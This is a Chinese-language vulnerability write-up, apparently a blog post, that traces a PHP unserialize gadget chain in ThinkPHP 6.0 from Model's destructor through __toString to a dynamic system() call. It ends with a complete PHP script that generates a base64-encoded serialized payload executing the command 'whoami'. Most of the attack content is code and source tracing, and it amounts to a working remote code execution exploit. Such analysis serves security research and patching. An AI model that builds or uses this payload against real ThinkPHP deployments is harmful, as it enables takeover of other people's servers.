复现环境
thinkphp 6.0
背景回顾
相比较与5.1和5.2版本,6.0取消了Windows类,但是5.2.x版本函数动态调用的反序列化链后半部分,还可以利用。这意味着我们得重新找一个合适的起始触发点,
新起始触发点
这里找到vendor/topthink/think-orm/src/Model.php 中的destruct魔术方法作为新的起始触发点。


为了进入save函数,要确保lazySave为true。跟进save()
因为本次序列化漏洞点位于updateData(),所以要确保进入updateData().跟进isEmpty()和trigger()
public function isEmpty(): bool
{
return empty($this->data);
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
观察发现,要进入updateData(),需要构造$this->data不为空和$this->withEvent变量为false,$this->exists变量为true。
继续跟进updateData()。
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();

同样的,为了防止提前return,要确保$data不为空,跟进下getChangeData().
这里我们强制$this->force为true,使函数返回我们前面设置的非空$this->data.这样我们就成功到达checkAllowFields()的位置。跟进下checkAllowFields()

db()函数存在字符串拼接,可以触发toString函数.

设置$this->connection为mysql,$this->name或$this->suffix为想要触发toString的类。
反序列化链的后半部分
前面我们已经找到了触发toString的办法,后半部分执行命令是跟tp5.2.x一样的。
还是找到convesion类的toString办法。跟进toArray()
public function toArray(): array
{
//.....
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
继续跟进getAttr()
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}

跟进getValue(),这里存在$value = $closure($value, $this->data);动态函数调用,我们要控制$closure,$value. php的system()第二个参数是可选的,system(‘ls’,”)是合法的。
下面来看看怎么控制$closure,$value
$closure = $this->withAttr[$fieldName];令$this->withAttr=[‘stao’=>’system’],接下来控制$fieldName=stao.
$fieldName = $this->getRealFieldName($name);分析getRealFieldName函数可以发现$this->strict为true时,返回的就是$name的值。所以要控制传入getValue()的参数$name为stao,$value为要执行的命令
在getAttr()中可以看到,传入$name的值即为传入getValue()的值。而$value= $this->getData($name);分析发现,传入getValue()的值即为$this->data[$fieldName];$fieldname=$name=stao.所以要控制$this->data=[‘stao’=>’要执行的命令’]。
最后我们再控制传入getAttr()的$name为stao即可。
所以$this->withAttr=[‘stao’=>’system’],$this->strict为true。$this->data=[‘stao’=>’要执行的命令’]。$this->visible[‘stao’]不为空。
梳理一下
vendor/topthink/think-orm/src/Model->destruct->$this->lazySave不为空->$this->save()->$this->data不为空和$this->withEvent变量为false,$this->exists变量为true->updateData()->$this->force为true->checkAllowFields()->$this->db()->$this->connection=’mysql’->$this->name=’触发tostring的类’->toArray()->getAttr()->getValue()->$closure($value, $this->data);
构造payload
<?php
namespace think;
class Model{
private $lazySave;
private $data;
protected $withEvent;
private $exists;
private $force;
protected $connection;
protected $name;
private $withAttr;
protected $strict;
public function __construct(){
$this->lazySave=true;
$this->data=['stao'=>'whoami'];
$this->withEvent=false;
$this->exists=true;
$this->force=true;
$this->connection='mysql';
$this->withAttr=['stao'=>'system']; //withAttr的键值要和data的键值一样。
$this->strict=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
public function __construct($obj=''){
parent::__construct();
$this->name = $obj;
}
}
use think\model\Pivot;
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));

可以看到调用链